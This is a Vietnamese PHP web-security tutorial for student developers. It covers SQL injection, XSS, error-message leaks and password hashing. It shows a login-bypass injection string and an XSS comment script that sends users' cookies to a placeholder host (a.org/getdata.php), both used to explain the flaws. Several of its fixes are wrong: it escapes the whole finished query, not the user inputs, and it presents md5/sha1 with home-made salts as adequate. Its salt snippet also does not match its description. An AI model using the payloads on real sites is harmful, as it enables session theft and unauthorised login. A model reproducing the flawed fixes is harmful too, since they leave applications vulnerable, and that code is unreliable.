Bảo mật web cho developer – phần 1

Bảo mật web cho developer là bàiviết đề cập một số kiến thức về bảo mật dành cho các bạn sinh viên lập trình web, để trang bị các kỹ năng bảo mật giúp website hoạt động được an toàn.

Lỗi bảo mật Sql Injection

Sql Injection là lỗi bảo mật web cho developer nghiêm trọng. Do không kiểm tra dữ liệu đầu vào một cách chặt chẽ. Kẻ tấn công sẽ dựa vào đó để chạy các câu lệnh SQL bất hợp pháp. Dữ liệu trong database của bạn sẽ bọ xóa, sửa, lấy cắp…

Các web dev mới vào nghề nếu không cẩn thận (hoặc không biết) sẽ dễ bị dính lỗi này. Cụ thể là khi chạy các câu lệnh sql có dùng dữ liệu từ user, mà không kiểm tra dữ liệu đó sẽ rất dễ bị lỗi.

Phòng tránh lỗi bảo mật SQL Injection là không khó. Bạn chỉ việc sử dụng các câu truy vấn đã được tham số hóa, hoặc bằng cách kiểm tra chặt chẽ dữ liệu đầu vào từ người dùng.

Demo SQL Injection

Ví dụ: form login như sau bạn có thực thi câu lệnh sql có dữ liệu từ người dùng:

  • Tạo file dangnhap.php, code html tạo form như sau:
<link href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css"  rel="stylesheet" >
<form class="col-4 m-auto border border-primary p-2" method="POST">
<div class="form-group">  <label>Username </label>  <input class="form-control" name="u">   </div>
<div class="form-group"><label>Pass</label> <input type="password" class="form-control" name="p"> </div>  
<div class="form-group">   <input type="checkbox" name="nho" > Ghi nhớ </div>  
<button type="submit" class="btn btn-primary" name="btnLog">Login</button>
</form>
  • Code php xử lý ở đầu file dangnhap.php như sau:
<?php session_start();
if (isset($_POST['btnLog'])==true){
    $conn = mysqli_connect("localhost","root","", "baomat");
    $conn -> set_charset("utf8");
    $u = $_POST['u'];   $p = $_POST['p'];
    $sql="SELECT * FROM users WHERE username='{$u}' AND password ='{$p}'";
    $user = $conn->query($sql);
    $numrows_user = $user->num_rows;
    if ($numrows_user == 1) {//Thành công			
        $row_user = $user->fetch_assoc();
        $_SESSION['login_id'] = $row_user['idUser'];
        $_SESSION['login_user'] =$row_user['Username'];
	    header("location: thanhcong.php");
    }
    else header("location: dangnhap.php"); //Đăng nhập thất bại
    exit();
}
?>
form login

Câu lệnh sql để kiểm tra thông tin user như sau :

SELECT * FROM users WHERE username='{$u}' AND password ='{$p}'";

Nếu ai đó nhập username là  aaaa’ or 1=1  limit 0,1 # và pass là 123456 thì lệnh sql sẽ thành:

SELECT * FROM users WHERE username='aaaa' or 1=1 limit 0,1 #' AND password ='123'

Bạn nghĩ sao? Câu lệnh sql trên luôn lấy được 1 dòng dữ liệu đó. Vì từ dấu # trở về sau bị mysql bỏ qua (nghĩa là MySql không quan tâm #’ AND Password=123456 ). Như vậy có thể đăng nhập (thậm chí như admin) dù gõ bất kỳ username, password gì.

Vấn đề ở đây là gì? Kẻ tấn công có gõ dấu nháy để kết hợp với dấu nháy do web dev gõ thành 1 cặp dấu nháy bao quanh chuỗi aaaa. Và như thế toán tử or sẽ có tác dụng, phía sau là 1=1 luôn đúng, thành thử phép toán username=’aaaa’ or 1=1 luôn luôn đúng và lấy được dữ liệu

Phòng tránh SQL Injection

Vấn đề cốt lõi của lỗi bảo mật SQL Injection là không kiểm soát dữ liệu từ người dùng.  Do đó để phòng tránh, hãy kiểm soát chặt chẽ tất cả các dữ liệu nhận được từ người dùng trước khi đưa giá trị vào câu lệnh SQL để mysql thực thi. Cụ thể như sau:

Cách 1: Sử dụng hàm real_escap_string trong đối tượng connection database

<?php session_start(); 
if (isset($_POST['btnLog'])==true){
        $conn = mysqli_connect("localhost","root","", "baomat");
        $conn -> set_charset("utf8");
	$u = $_POST['u'];
	$p = $_POST['p'];    	
	$sql="SELECT * FROM users WHERE username='{$u}' AND password ='{$p}'";
        $sql= $conn->real_escape_string($sql);
	$user = $conn->query($sql);        
	$numrows_user = $user->num_rows;
	if ($numrows_user == 1) {//Thành công			
          $row_user = $user->fetch_assoc();
	  $_SESSION['login_id'] = $row_user['idUser'];
	  $_SESSION['login_user'] =$row_user['Username'];  		
	  header("location: thanhcong.php");          
	}
	else  header("location: dangnhap.php"); //Đăng nhậtp that bại
        exit();
}
?>

Hàm real_escap_string sẽ thêm dấu \ trước các dấu nháy. Cụ thể dấu ‘ sẽ thành \’. Mysql khi thấy \’ sẽ hiểu đó là dấu nháy thông thường chứ không phải dấu nháy đóng vai trò bao chuỗi.

Cách 2: Kiểm soát chặt dữ liệu gửi lên

Thực hiện kiểm tra chặt chẽ để dữ liệu gủi lên từ browser để đúng fortmat mong muốn. Bằng cách ép kiểu và replace các ký tự có ý nghĩa đặc biệt với hệ quản trị cơ sở dữ liệu như ” ‘ . Ví dụ:

  • Dùng settype với dữ liệu dạng số: khi đó ai nhập kiểu chữ sẽ bị biến về số 0
$tuoi = $_POST['tuoi']; 
settype($tuoi,"int");  //hoặc  
$tuoi+=0; 
=> như vậy nếu ai nhập text cho biến $tuoi sẽ bị biến về giá trị 0
  • Dùng hàm str_replace để thay các dấu nháy với trong dữ liệu text:
$u = $_POST['u'];
 //nhận giá trị biến u từ form gửi lên
$u = str_replace("'" , "\'"  , $u);
 // thay dấu ' thành \' để mysql xem như là dấu nháy thường chứ không phải dấu nháy bao chuỗi.
$u = str_replace('"' ,   '\"' , $u);

Lỗi bảo mật cross-site scripting (XSS)

Một lỗi bảo mật web cho developer rất nổi tiếng , đó là Cross-site Scripting (XSS) . Lỗi này xảy ra do không kiểm tra tốt dữ liệu nhận từ các form, để rồi cho phép kẻ tấn công chèn mã javascript có hại vào trang web. Rồi khi người dùng vào xem những trang web này, mã do kẻ tấn công chèn vào sẽ thực thi trên máy của họ. kẻ tấn công lợi dụng lỗi XSS này để ăn cắp cookie, chiếm session… của người dùng, từ đó đăng nhập chiếm tài khoản, thậm chí chiếm quyền điều khiển website.

Ví dụ về lỗi XSS

Trong trang chi tiết tin/sản phẩm, có hiện các bình luận và form bình luận, không có validation khi lưu bình luận vào db thì hacker sẽ nhập bình luận là code javascript độc để ăn cắp cookie, kiểm soát tài khoản của mọi những người dùng đã vào xem trang chứa bình luận độc đó.  

Cụ thể comment sẽ gõ như sau:

<script>
document.location="http://a.org/getdata.php?data=" + document.cookie ;
</script>

Khi các user khác xem trang này, list các bình luận cũng sẽ hiện ra và script trên sẽ thực thi, user sẽ bị redirect đến trang http://a.org/getdata.php. Kẻ tấn công sẽ viết lệnh lưu cookies của user để dùng sau, cũng có luôn các thông tin session)

Phòng tránh lỗi XSS

Giống như lỗi bảo mật SQL Injection, cốt lõi của lỗi bảo mật XSS là không kiểm soát dữ liệu gửi từ trình duyệt , web dev cứ lấy mà lưu vào database không kiểm soát. Do đó mã độc do kẻ tấn công gửi lên cũng được lưu vào database và chạy trên mọi máy của những người dùng vào xem trang web.

Do đó phải kiểm tra thật kỹ dữ liệu gửi lên từ trình duyệt, chỉ chấp nhận những giá trị hợp lệ hoặc format cho phép. Hãy luôn nhớ: Filter Input, Escape Output, nghĩa là lọc (kiểm soát) dữ liệu khi nhận từ trình duyệt và bỏ qua các ký tự có ý nghĩa đặc biệt với trình duyệt trong dữ liệu, có như vậy mới chặn được kẻ xấu chèn mã độc để rồi chúng được chạy trên máy người dùng.

Giải pháp cũng không khó, có thể dùng các hàm str_replcace, htmlentities (còn nhiều cách khác nữa):

  • Hàm str_replace : Vì các đoạn mã độc bắt đầu với <script> và kết thúc với </script> (mã javascript) cho nên bạn thay thế ký tự < thành &lt;  và thay ký tự > thành &gt; là ổn. Tốt hơn nữa là thay luôn nháy đơn và nháy kép bằng các mã html entities là OK.  Khi đó mã độc hacker chèn sẽ hiện ra trong nội dung trang như là text bình thường chứ không được thực thi, nhờ vậy mà không gây nguy hiểm cho người sử dụng. Code gợi ý như sau :
$arr1 = array(">" , "<" , "'" , '"' , "&");
$arr2 = array("&gt;" , "&lt;" , "&apos;" , "&quot;" , "&amp;"); 
$str = str_replace( $arr1, $arr2 , $str);
  • Mã hóa các ký tự đặc biệt của HTML với hàm htmlentities()
$sql = "select * from bandocykien where idTin={$idTin} order by idYKien desc ";
$kq = $conn->query($sql);
$countyk = $kq->num_rows;
if ($countyk > 0) while ($row = $ykien->fetch_assoc()) echo $row["NoiDung"];

Trong code trên, biến $row[“NoiDung”] hiện trực tiếp ra trang web mà không qua xử lý. Field NoiDung được nhập từ người dùng cho nên viết như thế sẽ bị lỗi XSS. Để khắc phục, bạn mã hóa các ký tự đặc biệt của HTML với hàm htmlentities(). COde sẽ như sau:

echo htmlentities($row["NoiDung"]);

Tóm lại: lỗi bảo mật SQL Injection tấn công vào CSDL của website còn lỗi bảo mật XSS thì tấn công trực tiếp vào mọi người xem web. Giải pháp là web dev phải filter kỹ dữ liệu nhập và escape thông tin khi xuất ra.

Bảo mật với các thông báo lỗi website

Chuyện thứ ba liên quan đến các lỗi bảo mật web cho developer đó là: Hãy cẩn thận với thông tin hiển thị trong các thông báo lỗi, chỉ cung cấp những lỗi tối thiểu cho người dùng để đảm bảo rằng không bị rò rỉ các thông số bí mật trong website (ví dụ: API key hoặc mật khẩu cơ sở dữ liệu, username của quản trị viên website…). Ví dụ code khi kết nối thế này thì OK

<?php
$host="localhost";
$username="root";
$password="";
$dbname="baomat";
$conn = new mysqli($host,$username,$password, $dbname);
$conn -> set_charset("utf8");
if ($conn-> connect_errno) {
  echo "Lỗi khi kết nối đến db: " . $conn -> connect_error;
  exit();
}

Khi có lỗi, đại khái sẽ hiện thế này (OK): Lỗi khi kết nối đến db: Unknown database ‘baomat’. Còn nếu viết thế này thì không nên:

<?php
$host="localhost";
$username="root";
$password="";
$dbname="baomat";
$conn = new mysqli($host,$username,$password, $dbname);
$conn -> set_charset("utf8");
if ($conn-> connect_errno) {
  printf("Lỗi khi kết nối đến db: DbName= %s, User=%s, Pass=%s. Error=%s ", 
          $dbname, $username, $password,  $conn -> connect_error);
  exit();
}

Khi có lỗi sẽ hiện đầy đủ các thông tin nhạy cảm thế này:

Lỗi khi kết nối đến db: DbName= baomat, User=root, Pass=. Error=Unknown database ‘baomat’

Một ví dụ khác: khi website bị sự cố gì đó, quản trị viên khi debug lỗi sẽ cho hiện mọi lỗi ra trên host, nếu lúc này kẻ phá hoại mà vào trang vào website sẽ chụp được thông tin này và biết username (một trong hai thông tin cần có) để vào host

thong-bao-loi-website

Lỗi bảo mật Sensitive Data Exposure (rò rỉ dữ liệu nhạy cảm)

Một vấn đề nữa liên quan đến bảo mật web cho developer, đó là lộ những thông tin nhạy cảm. Cụ thể là các dữ liệu quan trọng trong database phải được mã hóa. Ví dụ: số thẻ tín dụng, mật khẩu, số điện thoại, email…

Bài này đề cập đến mật khẩu, bạn xử lý tương tự với các loại dữ liệu khác nhé. Mật khẩu của user phải được mã hóa khi lưu trong database. Vì nếu lỡ database của bạn bị ai đó “chôm” được thì mật khẩu của toàn bộ user sẽ bị lộ. Dùng mã hóa chúng theo md5, sha1 hay tốt nhất là bcrypt .

Tuyệt đối không lưu dữ liệu nhạy cảm không mã hóa

Tuyệt đối không lưu mật khẩu user trong database mà không mã hóa như sau:

mat-khau-trong-database-khong-ma-hoa

Mã hóa mật khẩu với md5

mat-khau-trong-database-ma-hoa-voi-md5

Với password đã mã hóa, khi xác thực, bạn chỉ cần mã hóa mật khẩu người dùng nhập khi login rồi so sánh các giá trị được password đã mã hóa.

Tuy nhiên cách này vẫn chưa an toàn do nhiều user dùng pass đơn giản như 123456, abc123, rất dễ dò ngược. Chỉ dùng md5 cũng cũng chưa phải là giải pháp tối ưu cho bảo vệ dữ liệu nhạy cảm.

Mã hóa mật khẩu cùng với md5 và giá trị salt

Để bảo mật dữ liệu tốt hơn, nên mã hóa password kết hợp với giá trị salt. Nghĩa là kết hợp password với  giá trị nào đó rồi mới mã hóa. Có nhiều kiểu kết hợp, đơn giản nhất là nối chúng lại (ví dụ với PHP):

$salt ='b7v';
$passMaHoa = md5($pass.$salt);

Sau đó mật khẩu mã hóa mới được lưu vào cơ sở dữ liệu. Nhờ vậy nếu ai có db của bạn họ cũng không thể biết pass của user, khó dò ngược được vì họ không biết giá trị biến salt và cũng không biết bạn ghép thế nào.

mat-khau-trong-database-ma-hoa-voi-md5-va-salt

Mã hóa mật khẩu với md5 và salt thay đỗi

Tuy vậy, nếu chỉ dùng một giá trị salt để mã hóa mọi mật khẩu sẽ không tránh được tình trạng một số user dùng mật khẩu giống nhau sẽ có mã hóa giống nhau. Cho nên có thể làm cho tốt hơn bằng việc sử dụng giá trị salt thay đổi. Có nhiều cách để tạo salt thay đổi, ví dụ là 3 ký tự đầu (hoặc cuối) của username/ email… Salt cũng có thể tạo ngẫu nhiên cho từng user rồi lưu vào 1 cột nào đó trong table để sử dụng.

$salt =substr($username, 3);
$passMaHoa = md5($pass.$salt);
mat-khau-trong-database-ma-hoa-voi-md5-va-salt-thay-doi.png

Với mã hóa thế này, 2 user có cùng pass sẽ có mã hóa khác nhau

Mã hóa mật khẩu kết hợp nhiều giải thuật

Bạn cũng có thể mã hóa nhiều lần mật khẩu của user trước khi lưu vào db, như dùng nhiều lần md5 hoặc kết hợp md5 với sha1

$salt =substr($username, 3);
$passMaHoa = md5(md5($pass.$salt)) ;  //hoặc 
$passMaHoa = sha1(md5($pass.$salt)) ;

Lưu ý: Khi chèn/cập nhật user, mật khẩu của user mã hóa theo công thức nào thì khi đăng nhập, cũng dùng công thức như thế để mã hóa mật khẩu của họ rồi mới so sánh với pass đã mã hóa trong database.

Mã hóa mật khẩu dùng brcypt

MD5(Message-Digest algorithm 5) là loại mã hóa thường dùng nhất đối với web dev. Trong php cũng như mysql có hàm md5 để bạn dùng, ví dụ:

$pass_mahoa=md5("hehe");//cho kq 32 ký tự 529ca8050a00180790cf88b63468826a $X=1;

SHA (Secure Hash Algorism) gồm 5 thuật giải SHA-1, SHA-224, SHA-256, SHA384, SHA-512. Bốn cái sau thường gọi chung là SHA-2 . Đây là giải thuật mạnh hơn MD5 dùng để mã hóa dữ liệu một chiều.  Trong php có hàm sha1 để mã hóa chuỗi:

$pass_mahoa=sha1("hehe");//kq 40 ký tự e24b801c310567e96f84c3c33ad20e38fb10a7ac

Tuy nhiên, người ta tìm thấy có điểm yếu trong SHA-1 và khẳng định nó chưa an toàn tuyệt đối. Bcrypt là thuật toán được đánh giá là an toàn hơn với MD5 và SHA. Bởi vì mỗi lần mã hóa một chuỗi thì nó cho một giá trị mã hóa khác nhau. Do đó việc dò mật khẩu ngược sẽ rất khó(md5, sha cho kết quả cố định với mỗi chuỗi gốc). Đồng thời có thể chỉnh độ sâu để mã hóa phức tạp hơn, dữ liệu mã hóa càng an toàn.

  • Tạo mật khẩu mã hóa với bcrypt
<?php 
$pass_mahoa = password_hash('hehe', PASSWORD_BCRYPT, ['cost'=>12]);
//$2y$12$DfczLIjOypADyBJN2uE8kOfV2j7Kzc7y03UbW2AhDiQyw/7PNL5Ta
//$2y$12$rmfNODrRQjVZw6kGF7WLE.hmle8SoRTSRaq/55ifAdVZNNk.f5uei
?>
  • Kiểm tra mật khẩu
<?php
if (password_verify('hehe', $pass_mahoa)) {
    echo 'Mật khẩu đúng';
} else {
    echo 'Sai mật khẩu';
}
?>

Bài viết bảo mật web cho developer trình bày một vài lỗi bảo mật website cơ bản mà quan trọng. Đó là các lỗi SQL Injecttion, XSS, rò rỉ dữ liệu nhạy cảm… Những lỗi này nếu để xảy ra trong website sẽ ảnh hưởng đến an toàn cho database, cho người dùng. Bài viết sẽ còn tiếp tục phần 2.

Các kiến thức liên quan: